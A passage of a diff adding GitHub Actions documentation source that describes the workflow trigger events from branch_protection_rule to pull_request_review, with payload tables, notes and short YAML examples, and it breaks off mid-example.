+| [`branch_protection_rule`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule) | - `created`<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when branch protection rules in the workflow repository are changed. For more information about branch protection rules, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." For information about the branch protection rule APIs, see "[BranchProtectionRule](/graphql/reference/objects#branchprotectionrule)" in the GraphQL API documentation or "[Branches](/rest/reference/branches)" in the REST API documentation.
+
+For example, you can run a workflow when a branch protection rule has been `created` or `deleted`:
+
+```yaml
+on:
+  branch_protection_rule:
+    types: [created, deleted]
+```
+
+{% endif %}
+
+### `check_run`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`check_run`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#check_run) | - `created`<br/>- `rerequested`<br/>- `completed`<br/>-`requested_action` | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when activity related to a check run occurs. A check run is an individual test that is part of a check suite. For information, see "[Getting started with the Checks API](/rest/guides/getting-started-with-the-checks-api)." For information about the check run APIs, see "[CheckRun](/graphql/reference/objects#checkrun)" in the GraphQL API documentation or "[Checks](/rest/reference/checks#runs)" in the REST API documentation.
+
+For example, you can run a workflow when a check run has been `rerequested` or `completed`.
+
+```yaml
+on:
+  check_run:
+    types: [rerequested, completed]
+```
+
+### `check_suite`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`check_suite`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#check_suite) | - `completed` | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite)." Although only the `started` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+{% note %}
+
+**Note:** To prevent recursive workflows, this event does not trigger workflows if the check suite was created by {% data variables.product.prodname_actions %}.
+
+{% endnote %}
+
+Runs your workflow when check suite activity occurs. A check suite is a collection of the check runs created for a specific commit. Check suites summarize the status and conclusion of the check runs that are in the suite. For information, see "[Getting started with the Checks API](/rest/guides/getting-started-with-the-checks-api)." For information about the check suite APIs, see "[CheckSuite](/graphql/reference/objects#checksuite)" in the GraphQL API documentation or "[Checks](/rest/reference/checks#suites)" in the REST API documentation.
+
+For example, you can run a workflow when a check suite has been `completed`.
+
+```yaml
+on:
+  check_suite:
+    types: [completed]
+```
+
+### `create`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`create`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#create) | n/a | Last commit on the created branch or tag | Branch or tag created |
+
+{% note %}
+
+**Note**: An event will not be created when you create more than three tags at once.
+
+{% endnote %}
+
+Runs your workflow when someone creates a Git reference (Git branch or tag) in the workflow's repository. For information about the APIs to create a Git reference, see "[createRef](/graphql/reference/mutations#createref)" in the GraphQL API documentation or "[Create a reference](/rest/reference/git#create-a-reference)" in the REST API documentation.
+
+For example, you can run a workflow when the `create` event occurs.
+
+```yaml
+on:
+  create
+```
+
+### `delete`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`delete`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#delete) | n/a | Last commit on default branch | Default branch |
+
+{% data reusables.actions.branch-requirement %}
+
+{% note %}
+
+**Note**: An event will not be created when you delete more than three tags at once.
+
+{% endnote %}
+
+Runs your workflow when someone deletes a Git reference (Git branch or tag) in the workflow's repository. For information about the APIs to delete a Git reference, see "[deleteRef](/graphql/reference/mutations#deleteref)" in the GraphQL API documentation or "[Delete a reference](/rest/reference/git#delete-a-reference)" in the REST API documentation.
+
+For example, you can run a workflow when the `delete` event occurs.
+
+```yaml
+on:
+  delete
+```
+
+### `deployment`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`deployment`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#deployment) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if created with a commit SHA)|
+
+Runs your workflow when someone creates a deployment in the workflow's repository. Deployments created with a commit SHA may not have a Git ref. For information about the APIs to create a deployment, see "[createDeployment](/graphql/reference/mutations#createdeployment)" in the GraphQL API documentation or "[Deployments](/rest/reference/repos#deployments)" in the REST API documentation.
+
+For example, you can run a workflow when the `deployment` event occurs.
+
+```yaml
+on:
+  deployment
+```
+
+### `deployment_status`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`deployment_status`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#deployment_status) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)|
+
+{% note %}
+
+**Note:** When a deployment status's state is set to `inactive`, a workflow run will not be triggered.
+
+{% endnote %}
+
+Runs your workflow when a third party provides a deployment status. Deployments created with a commit SHA may not have a Git ref. For information about the APIs to create a deployment status, see "[createDeploymentStatus](/graphql/reference/mutations#createdeploymentstatus)" in the GraphQL API documentation or "[Create a deployment status](/rest/reference/deployments#create-a-deployment-status)" in the REST API documentation.
+
+For example, you can run a workflow when the `deployment_status` event occurs.
+
+```yaml
+on:
+  deployment_status
+```
+
+{% ifversion discussions %}
+### `discussion`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`discussion`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#discussion) | - `created`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `category_changed`<br/> - `answered`<br/> - `unanswered` | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+{% data reusables.webhooks.discussions-webhooks-beta %}
+
+Runs your workflow when a discussion in the workflow's repository is created or modified. For activity related to comments on a discussion, use the [`discussion_comment`](#discussion_comment) event. For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." For information about the GraphQL API, see "[Discussion](/graphql/reference/objects#discussion)."
+
+For example, you can run a workflow when a discussion has been `created`, `edited`, or `answered`.
+
+```yaml
+on:
+  discussion:
+    types: [created, edited, answered]
+```
+
+### `discussion_comment`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+{% data reusables.webhooks.discussions-webhooks-beta %}
+
+Runs your workflow when a comment on a discussion in the workflow's repository is created or modified. For activity related to a discussion as opposed to comments on the discussion, use the [`discussion`](#discussion) event. For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." For information about the GraphQL API, see "[Discussion](/graphql/reference/objects#discussion)."
+
+For example, you can run a workflow when a discussion comment has been `created` or `deleted`.
+
+```yaml
+on:
+  discussion_comment:
+    types: [created, deleted]
+```
+
+{% endif %}
+
+### `fork`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`fork`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#fork) | n/a | Last commit on default branch |  Default branch |
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when someone forks a repository. For information about the REST API, see "[Create a fork](/rest/reference/repos#create-a-fork)."
+
+For example, you can run a workflow when the `fork` event occurs.
+
+```yaml
+on:
+  fork
+```
+
+### `gollum`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`gollum`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#gollum) | n/a | Last commit on default branch |  Default branch |
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when someone creates or updates a Wiki page. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."
+
+For example, you can run a workflow when the `gollum` event occurs.
+
+```yaml
+on:
+  gollum
+```
+
+### `issue_comment`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#issue_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when an issue or pull request comment is created, edited, or deleted. For information about the issue comment APIs, see "[IssueComment](/graphql/reference/objects#issuecomment)" in the GraphQL API documentation or "[Issue comments](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)" in the REST API documentation.
+
+For example, you can run a workflow when an issue or pull request comment has been `created` or `deleted`.
+
+```yaml
+on:
+  issue_comment:
+    types: [created, deleted]
+```
+
+#### `issue_comment` on issues only or pull requests only
+
+The `issue_comment` event occurs for comments on both issues and pull requests. You can use the `github.event.issue.pull_request` property in a conditional to take different action depending on whether the triggering object was an issue or pull request.
+
+For example, this workflow will run the `pr_commented` job only if the `issue_comment` event originated from a pull request. It will run the `issue_commented` job only if the `issue_comment` event originated from an issue.
+
+```yaml
+on: issue_comment
+
+jobs:
+  pr_commented:
+    # This job only runs for pull request comments
+    name: PR comment
+    if: {% raw %}${{ github.event.issue.pull_request }}{% endraw %}
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          echo A comment on PR $NUMBER
+        env:
+          NUMBER: {% raw %}${{ github.event.issue.number }}{% endraw %}
+
+  issue_commented:
+    # This job only runs for issue comments
+    name: Issue comment
+    if: {% raw %}${{ !github.event.issue.pull_request }}{% endraw %}
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          echo A comment on issue $NUMBER
+        env:
+          NUMBER: {% raw %}${{ github.event.issue.number }}{% endraw %}
+```
+
+### `issues`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`issues`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#issues) | - `opened`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `closed`<br/>- `reopened`<br/>- `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `milestoned`<br/> - `demilestoned` | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#issues)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when an issue in the workflow's repository is created or modified. For activity related to comments in an issue, use the [`issue_comment`](#issue_comment) event. For more information about issues, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)." For information about the issue APIs, see "[Issue](/graphql/reference/objects#issue)" in the GraphQL API documentation or "[Issues](/rest/reference/issues)" in the REST API documentation.
+
+For example, you can run a workflow when an issue has been `opened`, `edited`, or `milestoned`.
+
+```yaml
+on:
+  issues:
+    types: [opened, edited, milestoned]
+```
+
+### `label`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`label`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#label) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#label)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when a label in your workflow's repository is created or modified. For more information about labels, see "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)." For information about the label APIs, see "[Label](/graphql/reference/objects#label)" in the GraphQL API documentation or "[Labels](/rest/reference/issues#labels)" in the REST API documentation.
+
+If you want to run your workflow when a label is added to or removed from an issue, pull request, or discussion, use the `labeled` or `unlabeled` activity types for the [`issues`](#issues), [`pull_request`](#pull_request), [`pull_request_target`](#pull_request_target), or [`discussion`](#discussion) events instead.
+
+For example, you can run a workflow when a label has been `created` or `deleted`.
+
+```yaml
+on:
+  label:
+    types: [created, deleted]
+```
+
+{% ifversion fpt or ghec  %}
+
+### `merge_group`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`merge_group`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#merge_group) | `checks_requested` | SHA of the merge group | Ref of the merge group |
+
+{% data reusables.pull_requests.merge-queue-beta %}
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} Although only the `checks_requested` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#merge_group)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group. For more information see "[Merging a pull request with a merge queue](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue)".
+
+For example, you can run a workflow when the `checks_requested` activity has occurred.
+
+```yaml
+on:
+  merge_group:
+    types: [checks_requested]
+
+```
+
+{% endif %}
+### `milestone`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`milestone`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#milestone) | - `created`<br/>- `closed`<br/>- `opened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#milestone)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when a milestone in the workflow's repository is created or modified. For more information about milestones, see "[About milestones](/issues/using-labels-and-milestones-to-track-work/about-milestones)." For information about the milestone APIs, see "[Milestone](/graphql/reference/objects#milestone)" in the GraphQL API documentation or "[Milestones](/rest/reference/issues#milestones)" in the REST API documentation.
+
+If you want to run your workflow when an issue is added to or removed from a milestone, use the `milestoned` or `demilestoned` activity types for the [`issues`](#issues) event instead.
+
+For example, you can run a workflow when a milestone has been `opened` or `deleted`.
+
+```yaml
+on:
+  milestone:
+    types: [opened, deleted]
+```
+
+### `page_build`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`page_build`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#page_build) | n/a | Last commit on default branch | n/a |
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when someone pushes to a branch that is the publishing source for {% data variables.product.prodname_pages %}, if {% data variables.product.prodname_pages %} is enabled for the repository. For more information about {% data variables.product.prodname_pages %} publishing sources, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." For information about the REST API, see "[Pages](/rest/reference/repos#pages)."
+
+For example, you can run a workflow when the `page_build` event occurs.
+
+```yaml
+on:
+  page_build
+```
+
+### `project`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`project`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project) | - `created`<br/>- `closed`<br/>- `reopened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} The `edited` activity type refers to when a project board, not a column or card on the project board, is edited. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+{% note %}
+
+**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository.
+
+{% endnote %}
+
+{% ifversion fpt or ghec %}
+{% note %}
+
+**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}.
+
+{% endnote %}
+{% endif %}
+
+Runs your workflow when a project board is created or modified. For activity related to cards or columns in a project board, use the [`project_card`](#project_card) or [`project_column`](#project_column) events instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project board APIs, see "[Project](/graphql/reference/objects#project)" in the GraphQL API documentation or "[Projects](/rest/reference/projects)" in the REST API documentation.
+
+For example, you can run a workflow when a project has been `created` or `deleted`.
+
+```yaml
+on:
+  project:
+    types: [created, deleted]
+```
+
+### `project_card`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`project_card`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project_card) | - `created`<br/>- `moved`<br/>- `converted` to an issue<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project_card)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+{% note %}
+
+**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository.
+
+{% endnote %}
+
+{% ifversion fpt or ghec %}
+{% note %}
+
+**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}.
+
+{% endnote %}
+{% endif %}
+
+Runs your workflow when a card on a project board is created or modified. For activity related to project boards or columns in a project board, use the [`project`](#project) or [`project_column`](#project_column) event instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project card APIs, see "[ProjectCard](/graphql/reference/objects#projectcard)" in the GraphQL API documentation or "[Project cards](/rest/reference/projects#cards)" in the REST API documentation.
+
+For example, you can run a workflow when a project card has been `created` or `deleted`.
+
+```yaml
+on:
+  project_card:
+    types: [created, deleted]
+```
+
+### `project_column`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`project_column`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project_column) | - `created`<br/>- `updated`<br/>- `moved`<br/>- `deleted` | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project_column)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+{% note %}
+
+**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository.
+
+{% endnote %}
+
+{% ifversion fpt or ghec %}
+{% note %}
+
+**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}.
+
+{% endnote %}
+{% endif %}
+
+Runs your workflow when a column on a project board is created or modified. For activity related to project boards or cards in a project board, use the [`project`](#project) or [`project_card`](#project_card) event instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project column APIs, see "[Project Column](/graphql/reference/objects#projectcolumn)" in the GraphQL API documentation or "[Project columns](/rest/reference/projects#columns)" in the REST API documentation.
+
+For example, you can run a workflow when a project column has been `created` or `deleted`.
+
+```yaml
+on:
+  project_column:
+    types: [created, deleted]
+```
+
+### `public`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`public`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#public) | n/a | Last commit on default branch |  Default branch |
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when your workflow's repository changes from private to public. For information about the REST API, see "[Edit repositories](/rest/reference/repos#edit)."
+
+For example, you can run a workflow when the `public` event occurs.
+
+```yaml
+on:
+  public
+```
+
+### `pull_request`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`pull_request`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed` <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request)." By default, a workflow only runs when a `pull_request` event's activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows by different activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)."
+
+{% endnote %}
+
+{% note %}
+
+**Note:** Workflows will not run on `pull_request` activity if the pull request has a merge conflict. The merge conflict must be resolved first.
+
+Conversely, workflows with the `pull_request_target` event will run even if the pull request has a merge conflict. Before using the `pull_request_target` trigger, you should be aware of the security risks. For more information, see [`pull_request_target`](#pull_request_target).
+
+{% endnote %}
+
+Runs your workflow when activity on a pull request in the workflow's repository occurs. For example, if no activity types are specified, the workflow runs when a pull request is opened or reopened or when the head branch of the pull request is updated. For activity related to pull request reviews, pull request review comments, or pull request comments, use the [`pull_request_review`](#pull_request_review), [`pull_request_review_comment`](#pull_request_review_comment), or [`issue_comment`](#issue_comment) events instead. For information about the pull request APIs, see "[PullRequest](/graphql/reference/objects#pullrequest)" in the GraphQL API documentation or "[Pull requests](/rest/reference/pulls)" in the REST API documentation.
+
+Note that `GITHUB_SHA` for this event is the last merge commit of the pull request merge branch. If you want to get the commit ID for the last commit to the head branch of the pull request, use `github.event.pull_request.head.sha` instead.
+
+For example, you can run a workflow when a pull request has been opened or reopened.
+
+```yaml
+on:
+  pull_request:
+    types: [opened, reopened]
+```
+
+You can use the event context to further control when jobs in your workflow will run. For example, this workflow will run when a review is requested on a pull request, but the `specific_review_requested` job will only run when a review by `octo-team` is requested.
+
+```yaml
+on:
+  pull_request:
+    types: [review_requested]
+jobs:
+  specific_review_requested:
+    runs-on: ubuntu-latest
+    if: {% raw %}${{ github.event.requested_team.name == 'octo-team'}}{% endraw %}
+    steps:
+      - run: echo 'A review from octo-team was requested'
+```
+
+#### Running your workflow based on the head or base branch of a pull request
+
+You can use the `branches` or `branches-ignore` filter to configure your workflow to only run on pull requests that target specific branches. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)."
+
+For example, this workflow will run when someone opens a pull request that targets a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  pull_request:
+    types:
+      - opened
+    branches:
+      - 'releases/**'
+```
+
+{% note %}
+
+**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  pull_request:
+    types:
+      - opened
+    branches:
+      - 'releases/**'
+    paths:
+      - '**.js'
+```
+
+{% endnote %}
+
+To run a job based on the pull request's head branch name (as opposed to the pull request's base branch name), use the `github.head_ref` context in a conditional. For example, this workflow will run whenever a pull request is opened, but the `run_if` job will only execute if the head of the pull request is a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  pull_request:
+    types:
+      - opened
+jobs:
+  run_if:
+    if:  startsWith(github.head_ref, 'releases/')
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "The head of this PR starts with 'releases/'"
+```
+
+#### Running your workflow based on files changed in a pull request
+
+You can also configure your workflow to run when a pull request changes specific files. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)."
+
+For example, this workflow will run when a pull request includes a change to a JavaScript file (`.js`):
+
+```yaml
+on:
+  pull_request:
+    paths:
+      - '**.js'
+```
+
+{% note %}
+
+**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  pull_request:
+    types:
+      - opened
+    branches:
+      - 'releases/**'
+    paths:
+      - '**.js'
+```
+
+{% endnote %}
+
+#### Running your workflow when a pull request merges
+
+When a pull request merges, the pull request is automatically closed. To run a workflow when a pull request merges, use the `pull_request` `closed` event type along with a conditional that checks the `merged` value of the event. For example, the following workflow will run whenever a pull request closes. The `if_merged` job will only run if the pull request was also merged.
+
+```yaml
+on:
+  pull_request:
+    types:
+      - closed
+
+jobs:
+  if_merged:
+    if: github.event.pull_request.merged == true
+    runs-on: ubuntu-latest
+    steps:
+    - run: |
+        echo The PR was merged
+```
+
+{% data reusables.developer-site.pull_request_forked_repos_link %}
+
+### `pull_request_comment` (use `issue_comment`)
+
+To run your workflow when a comment on a pull request (not on a pull request's diff) is created, edited, or deleted, use the [`issue_comment`](#issue_comment) event. For activity related to pull request reviews or pull request review comments, use the [`pull_request_review`](#pull_request_review) or [`pull_request_review_comment`](#pull_request_review_comment) events.
+
+### `pull_request_review`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`pull_request_review`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request_review) | - `submitted`<br/>- `edited`<br/>- `dismissed` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+Runs your workflow when a pull request review is submitted, edited, or dismissed. A pull request review is a group of pull request review comments in addition to a body comment and a state. For activity related to pull request review comments or pull request comments, use the [`pull_request_review_comment`](#pull_request_review_comment) or [`issue_comment`](#issue_comment) events instead. For information about the pull request review APIs, see "[PullRequestReview](/graphql/reference/objects#pullrequest)" in the GraphQL API documentation or "[Pull request reviews](/rest/reference/pulls#reviews)" in the REST API documentation.
+
+For example, you can run a workflow when a pull request review has been `edited` or `dismissed`.
+
+```yaml
+on:
+  pull_request_review:
+    types: [edited, dismissed]
+```
+
+#### Running a workflow when a pull request is approved
+
+To run your workflow when a pull request has been approved, you can trigger your workflow with the `submitted` type of `pull_request_review` event, then check the review state with the `github.event.review.state` property. For example, this workflow will run whenever a pull request review is submitted, but the `approved` job will only run if the submitted review is an approving review:
+
+```yaml
+on:
+  pull_request_review:
